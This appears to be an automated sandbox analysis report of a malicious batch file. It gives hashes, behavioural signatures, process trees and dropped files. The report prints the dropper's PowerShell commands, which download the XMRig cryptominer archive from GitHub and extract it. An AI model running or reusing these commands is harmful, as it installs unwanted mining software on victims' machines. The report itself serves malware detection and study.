04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
313s
max time network
1610s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
31/12/2023, 06:24

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General

Target

tesy - Copy (10).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	500	powershell.exe
7	500	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
500	powershell.exe
500	powershell.exe
500	powershell.exe
2108	powershell.exe
2108	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	500	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 500	1044	cmd.exe	74
PID 1044 wrote to memory of 500	1044	cmd.exe	74
PID 1044 wrote to memory of 2108	1044	cmd.exe	75
PID 1044 wrote to memory of 2108	1044	cmd.exe	75

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5ff43a204bbed423b60325377f1ad73c

SHA1
03b6acf35da9edde85edb6c41b06990f9eee739e

SHA256
461f01b2e4056ffbb5fd68d1ac7390805e8f4af89b12729985cfa3814ebef17c

SHA512
2b033a07dbbecdbd9497d76717c81f5e8731be9adc217d18ee789d4fdc23fa7b6eb31dec1acbe736feda066ce8b860b8d43c13e8dd218d089a70397c7fe72ed4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aj1bsalo.w4a.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

Filesize
890KB

MD5
5acab4ad9dafa27ff21a26b1930a0965

SHA1
d87b1ac71ec2d98f252d5883db050aad5fcd410a

SHA256
8dd877461d7c1726c326be1096160e2146819ba2700eb8b5defbc6d1f8defee4

SHA512
06d0239de2d673f332add76c8b239bf17498e229e1a7f40b41a940eae6f3cd42e5d2ba18524b1ec497baec8e34b5f271f3651e2816f4800632162bc0d13dfecd

Download Submit
memory/500-29-0x000001F1C5AF0000-0x000001F1C5B00000-memory.dmp

Filesize
64KB

Download
memory/500-7-0x000001F1C5AF0000-0x000001F1C5B00000-memory.dmp

Filesize
64KB

Download
memory/500-25-0x000001F1C5AF0000-0x000001F1C5B00000-memory.dmp

Filesize
64KB

Download
memory/500-26-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

Filesize
9.9MB

Download
memory/500-27-0x000001F1C5AF0000-0x000001F1C5B00000-memory.dmp

Filesize
64KB

Download
memory/500-28-0x000001F1C5AF0000-0x000001F1C5B00000-memory.dmp

Filesize
64KB

Download
memory/500-4-0x000001F1C5AC0000-0x000001F1C5AE2000-memory.dmp

Filesize
136KB

Download
memory/500-34-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

Filesize
9.9MB

Download
memory/500-8-0x000001F1C5AF0000-0x000001F1C5B00000-memory.dmp

Filesize
64KB

Download
memory/500-10-0x000001F1C5C80000-0x000001F1C5CF6000-memory.dmp

Filesize
472KB

Download
memory/500-5-0x00007FFA90DE0000-0x00007FFA917CC000-memory.dmp

Filesize
9.9MB

Download
memory/2108-40-0x00007FFAA1940000-0x00007FFAA232C000-memory.dmp

Filesize
9.9MB

Download
memory/2108-41-0x00000212A67B0000-0x00000212A67C0000-memory.dmp

Filesize
64KB

Download
memory/2108-66-0x00000212A67B0000-0x00000212A67C0000-memory.dmp

Filesize
64KB

Download
memory/2108-80-0x00000212A6BC0000-0x00000212A6BD2000-memory.dmp

Filesize
72KB

Download
memory/2108-42-0x00000212A67B0000-0x00000212A67C0000-memory.dmp

Filesize
64KB

Download
memory/2108-93-0x00000212A6A20000-0x00000212A6A2A000-memory.dmp

Filesize
40KB

Download
memory/2108-133-0x00000212A67B0000-0x00000212A67C0000-memory.dmp

Filesize
64KB

Download
memory/2108-136-0x00007FFAA1940000-0x00007FFAA232C000-memory.dmp

Filesize
9.9MB

Download